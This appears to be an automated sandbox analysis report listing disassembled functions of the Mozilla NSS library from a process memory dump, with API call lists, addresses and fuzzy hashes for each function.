API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: bf28277fa7000e0ce370feef00051ce026c45a057bb7215e58ff60635634adaa
Instruction ID: dce303352e49ce14f163f4613d2cac7bec460a732183a87b53cb35c23aaf9852
Opcode Fuzzy Hash: bf28277fa7000e0ce370feef00051ce026c45a057bb7215e58ff60635634adaa
Instruction Fuzzy Hash: 2F2195B6600A109BE7118B26DC4DF4777E5AFC4358F050938E84DC7A62FB72E8588691

Function 6C4E98A0 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518821
Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C51883D
Part of subcall function 6C518800: EnterCriticalSection.KERNEL32(?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518856
Part of subcall function 6C518800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C518887
Part of subcall function 6C518800: PR_Unlock.NSS3(?,?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518899

TlsGetValue.KERNEL32 ref: 6C4E98F5
EnterCriticalSection.KERNEL32 ref: 6C4E990E
PR_Unlock.NSS3 ref: 6C4E9942
PR_SetError.NSS3 ref: 6C4E995E

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$CondErrorWait
String ID:
API String ID: 1779658291-0
Opcode ID: 383fb71dbe78092808ecdd8d071fd72844938e43e8b787c7007f87e7a5b5c380
Instruction ID: 62626e4a3150f75744d43d68b4c94a28c6da67c55cebcfd940f5c4db11d0e123
Opcode Fuzzy Hash: 383fb71dbe78092808ecdd8d071fd72844938e43e8b787c7007f87e7a5b5c380
Instruction Fuzzy Hash: 083149B0A05605CFDB40EF6AC484EADBBF4BF49315F02446DD8899B751D735A885CB82

Function 6C504FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C50B60F,00000000), ref: 6C505003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C50B60F,00000000), ref: 6C50501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C50B60F,00000000), ref: 6C50504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C50B60F,00000000), ref: 6C505064

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 8e11fd05d6c596df5d29e96d8ab76c85de5ee2b6eb5af4b4a76205293858564c
Instruction ID: 3d78f545181960f7b7b8f73b98abbbe3fafc0cd6d801709146e186e9636ee2dd
Opcode Fuzzy Hash: 8e11fd05d6c596df5d29e96d8ab76c85de5ee2b6eb5af4b4a76205293858564c
Instruction Fuzzy Hash: E33103B4A05A06DFDB00EF69C884A6EBBF4FF08304F158929D859D7B00E730E894CB95

Function 6C529F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C52A71A,FFFFFFFF,?,?), ref: 6C529FAB

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C52A71A,6C52A71A,00000000), ref: 6C529FD9

Part of subcall function 6C521340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C52136A
Part of subcall function 6C521340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C52137E
Part of subcall function 6C521340: PL_ArenaGrow.NSS3(?,6C4BF599,?,00000000,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?), ref: 6C5213CF
Part of subcall function 6C521340: PR_Unlock.NSS3(?,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C52145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C52A71A,6C52A71A,00000000), ref: 6C52A009
PR_SetError.NSS3(FFFFE013,00000000,6C52A71A,6C52A71A,00000000), ref: 6C52A045

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: b8e10673205b7cdd8af28514f07af64dc11f69a0ba8f4a592df6cebcb9976f7e
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: C2218EB4600206ABE7009F55DC50F67F7E9BB8535CF108128D8298BBC1FB7AE818CB90

Function 6C532DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C532E08

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C532E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C532E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C532E95

Part of subcall function 6C521200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4C88A4,00000000,00000000), ref: 6C521228
Part of subcall function 6C521200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C521238
Part of subcall function 6C521200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C4C88A4,00000000,00000000), ref: 6C52124B
Part of subcall function 6C521200: PR_CallOnce.NSS3(6C622AA4,6C5212D0,00000000,00000000,00000000,?,6C4C88A4,00000000,00000000), ref: 6C52125D
Part of subcall function 6C521200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C52126F
Part of subcall function 6C521200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C521280
Part of subcall function 6C521200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C52128E
Part of subcall function 6C521200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C52129A
Part of subcall function 6C521200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5212A1

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 4bd690a2956b7c41d40132ab4b1b96bf9bfe6295f6e7a7943a7bc3d8cdf1687b
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: AB21F571E007518BEB00CF549D45BBB37A46FE170CF111269DD0C5B682F7B6E98882D1

Function 6C501870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5018A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C4E6C34,?,?,00000001,00000000,00000007,?), ref: 6C5018B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4E6C34,?,?), ref: 6C5018E1
PR_SetError.NSS3(00000000,00000000), ref: 6C5018F9

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 07c325c04215ad07605b58eb10d8a48f995c2b7c3b6031eb32f3843bbb2f0a23
Instruction ID: 8c62ab5efa70122c31bebec0c40427b3fa464ac57007b1e24390f2c023c63fdb
Opcode Fuzzy Hash: 07c325c04215ad07605b58eb10d8a48f995c2b7c3b6031eb32f3843bbb2f0a23
Instruction Fuzzy Hash: FB21CF75E002199BDB00AF68DC85AEE7B74BF09318F050569ED05A7701EB35EA28CBE1

Function 6C4EACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C4EACC2

Part of subcall function 6C4C2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C4C2F0A
Part of subcall function 6C4C2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C4C2F1D

Part of subcall function 6C4C2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C4C0A1B,00000000), ref: 6C4C2AF0
Part of subcall function 6C4C2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4C2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C4EAD5E

Part of subcall function 6C5057D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C4CB41E,00000000,00000000,?,00000000,?,6C4CB41E,00000000,00000000,00000001,?), ref: 6C5057E0
Part of subcall function 6C5057D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C505843

CERT_DestroyCertList.NSS3(?), ref: 6C4EAD36

Part of subcall function 6C4C2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C4C2F65
Part of subcall function 6C4C2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4C2F83

free.MOZGLUE(?), ref: 6C4EAD4F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: fb3ec4dcc7d879201329fd1288582e69728ec9e5fdefd4d91746f8b38421f9d9
Instruction ID: 0e22ba59603bdcc3182d09251e611421e87b6c35261f3360dc5e96411a5f3708
Opcode Fuzzy Hash: fb3ec4dcc7d879201329fd1288582e69728ec9e5fdefd4d91746f8b38421f9d9
Instruction Fuzzy Hash: A62108B1D002088BEB10DF65D845DEEBBB4EF4921AF074068D805B7710FB31AA59CBE6

Function 6C513C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C513C9E
EnterCriticalSection.KERNEL32(?), ref: 6C513CAE
PR_Unlock.NSS3(?), ref: 6C513CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C513D02

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: e206360e95f04552cb362e634dd90920c95c234bde4a24631cd161dad9787ce4
Instruction ID: f2251016be34fff3dcb062284ed44b32b5f2af902123bc6c03d2b2312a4ed14a
Opcode Fuzzy Hash: e206360e95f04552cb362e634dd90920c95c234bde4a24631cd161dad9787ce4
Instruction Fuzzy Hash: 1111E479A04204AFEB00EF29DC89E9A3778EF09368F154464EC0487B12E731ED44CBE0

Function 6C51ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C51F0AD,6C51F150,?,6C51F150,?,?,?), ref: 6C51ECBA

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C51ECD1

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C51ED02

Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C51ED5A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 7af474a808b9a44062f720603797c138bf1f9dec3b5d8f6e9dbf90849739ab6c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 8721C2B19147429BE700CF25DD48B52B7E4AFE5308F158219A81C87E61E7B0E994C7D0

Function 6C4EC860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C4EC890

Part of subcall function 6C4E8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E8FAF
Part of subcall function 6C4E8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E8FD1
Part of subcall function 6C4E8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E8FFA
Part of subcall function 6C4E8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C4E9013
Part of subcall function 6C4E8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C4E9042
Part of subcall function 6C4E8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C4E905A
Part of subcall function 6C4E8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C4E9073
Part of subcall function 6C4E8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C4DDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C4E9111

PR_GetCurrentThread.NSS3 ref: 6C4EC8B2

Part of subcall function 6C589BF0: TlsGetValue.KERNEL32(?,?,?,6C5D0A75), ref: 6C589C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C4EC8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4EC8EB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 5e1402d054a49583c3308f0627f42ff123c6ece71a13ae60d1d83bc3fbb1733f
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 7C01CC76E012156BDB00A6B95D80EFF3D69BF5D15FF060139FD04A6B01F751881893E2

Function 6C514900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C4FC79F,?,?,6C515C4A,?), ref: 6C514950

Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518821
Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C51883D
Part of subcall function 6C518800: EnterCriticalSection.KERNEL32(?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518856
Part of subcall function 6C518800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C518887
Part of subcall function 6C518800: PR_Unlock.NSS3(?,?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518899

TlsGetValue.KERNEL32(?,?,?), ref: 6C51496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C514989

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: bf298d6e2bf2ad983b013579deed2a089f5a45a0c49bc9512abe74a623da5c4f
Instruction ID: 460c9cbe11f48de02dcb1d49097789ff2e2c6f7787c18cad2834846f3e98aced
Opcode Fuzzy Hash: bf298d6e2bf2ad983b013579deed2a089f5a45a0c49bc9512abe74a623da5c4f
Instruction Fuzzy Hash: B41108B5A08200EBFB009F2ADC8991A77B8FF4536DF141535ED4997F11E721EC14879A

Function 6C4CB9F0 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

CERT_GetCertTrust.NSS3(?,?), ref: 6C4CBA0B

Part of subcall function 6C4C9740: TlsGetValue.KERNEL32 ref: 6C4C975A
Part of subcall function 6C4C9740: EnterCriticalSection.KERNEL32 ref: 6C4C976F
Part of subcall function 6C4C9740: PR_Unlock.NSS3 ref: 6C4C97A7

PORT_ArenaAlloc_Util.NSS3(?,00000010), ref: 6C4CBA26

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C4CBA4D

Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52116E

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4CBA63

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
